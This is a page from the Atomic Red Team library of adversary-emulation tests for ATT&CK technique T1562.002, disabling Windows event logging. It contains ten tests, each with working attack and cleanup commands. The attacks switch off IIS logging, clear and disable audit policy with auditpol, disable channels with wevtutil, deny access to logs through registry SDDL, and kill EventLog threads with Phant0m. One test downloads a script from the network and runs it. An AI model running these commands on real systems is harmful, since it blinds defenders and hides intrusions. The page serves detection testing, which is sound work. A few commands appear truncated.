

atomic-red-team/atomics/T1562.002/T1562.002.md at master · redcanaryco/atomic-red-team

By Atomic Red Team doc generator

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T1562.002 - Impair Defenses: Disable Windows Event Logging

Description from ATT&CK

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. (Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the "Start" value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security , then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System and HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)

Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:"Account Logon" /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers .(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

[Source](#)

Atomic Tests

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Atomic Test #1: Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Supported Platforms: Windows

auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db

Inputs

Name	Description	Type	Default Value
website_name	The name of the website on a server	string	Default Web Site

Attack Commands: Run with powershell !

```
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
```

Cleanup Commands

```
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){  
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$?  
}
```

Atomic Test #2: Disable Windows IIS HTTP Logging via PowerShell

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Supported Platforms: Windows

auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e**Inputs**

Name	Description	Type	Default Value
website_name	The name of the website on a server	string	Default Web Site

Attack Commands: Run with powershell !

```
set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -na
```

Cleanup Commands

```
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$i
}
```

Atomic Test #3: Kill Event Log Service Threads

Kill Windows Event Log Service Threads using Invoke-Phantom. WARNING you will need to restart PC to return to normal state with Log Service. <https://artofpwn.com/phantom-killing-windows-event-log.html>

Supported Platforms: Windows**auto_generated_guid:** 41ac52ba-5d5e-40c0-b267-573ed90489bd**Attack Commands: Run with** powershell ! **Elevation Required (e.g. root or admin)**

```
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phantom/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phantom.ps1"
$output = "$env:TEMP\Invoke-Phantom.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phantom.ps1
Invoke-Phantom
```

Cleanup Commands

```
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phantom.ps1" -ErrorAction Ignore
```

Atomic Test #4: Impair Windows Audit Log Policy

Disables the windows audit policy to prevent key host based telemetry being written into the event logs. [Solarigate example](#)

Supported Platforms: Windows**auto_generated_guid:** 5102a3a7-e2d7-4129-9e45-f483f2e0eea8

Attack Commands: Run with `command_prompt` **! Elevation Required (e.g. root or admin)**

```
auditpol /set /category:"Account Logon" /success:disable /failure:disable  
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable  
auditpol /set /category:"Detailed Tracking" /success:disable
```

Cleanup Commands

```
auditpol /set /category:"Account Logon" /success:enable /failure:enable  
auditpol /set /category:"Detailed Tracking" /success:enable  
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```

Atomic Test #5: Clear Windows Audit Policy Config

Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.

Supported Platforms: Windows

auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6

Attack Commands: Run with `command_prompt` **! Elevation Required (e.g. root or admin)**

```
auditpol /clear /y  
auditpol /remove /allusers
```

Cleanup Commands

```
auditpol /set /category:"Account Logon" /success:enable /failure:enable  
auditpol /set /category:"Detailed Tracking" /success:enable  
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```

Atomic Test #6: Disable Event Logging with wevtutil

Wevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.

Supported Platforms: Windows

auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103

Inputs

Name	Description	Type	Default Value
log_name	Name of the log to be disabled	string	Microsoft-Windows-IKE/Operational

Attack Commands: Run with `command_prompt` **!**

```
wevtutil sl "#{log_name}" /e:false
```

Cleanup Commands

```
wevtutil sl "#{log_name}" /e:true
```

Atomic Test #7: Makes Eventlog blind with Phant0m

Use [Phant0m](#) to disable Eventlog

Supported Platforms: Windows

auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741

Inputs

Name	Description	Type	Default Value
file_name	exe version of Phant0m	path	PathToAtomicsFolder\T1562.002\bin\Phant0m.exe

Attack Commands: Run with `command_prompt` !

Cleanup Commands

```
echo "Sorry you have to reboot"
```

Dependencies: Run with `powershell` !

Description: Phant0m.exe must exist on disk at specified location (`#{file_name}`)

Check Prereq Commands

```
if (Test-Path "#{file_name}") {exit 0} else {exit 1}
```

Get Prereq Commands

```
New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe"
```

Atomic Test #8: Modify Event Log Channel Access Permissions via Registry - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: 8e81d090-0cd6-4d46-863c-eec11311298f

Inputs

Name	Description	Type	Default Value
ChannelPath	Path to the event log service channel to alter	string	HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TaskScheduler\Operational

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore
```

Cleanup Commands

```
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;;0x2;;;S-1-15-2-1)(A;;;0x2;;;S-1-15-2-1)(A;;;0x2;;;S-1-15-2-1)(A;;;0x2;;;S-1-15-2-1)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore
```

Atomic Test #9: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: 85e6eff8-3ed4-4e03-ae50-aa6a404898a5

Inputs

Name	Description	Type	Default Value
ChannelPath	Path to the event log service channel to alter	string	HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
New-Item -Path #{ChannelPath} -Force
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore
```

Cleanup Commands

```
Remove-Item -Path #{ChannelPath} -Force
Restart-Service -Name EventLog -Force -ErrorAction Ignore
```

Atomic Test #10: Modify Event Log Access Permissions via Registry - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: a0cb81f8-44d0-4ac4-a8f3-c5c7f43a12c1

Inputs

Name	Description	Type	Default Value
CustomSDPath	Path to the event log service channel to alter	string	HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\System

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;;0x1;;;WD)"
```

Cleanup Commands

```
Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"
```

Source: <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md>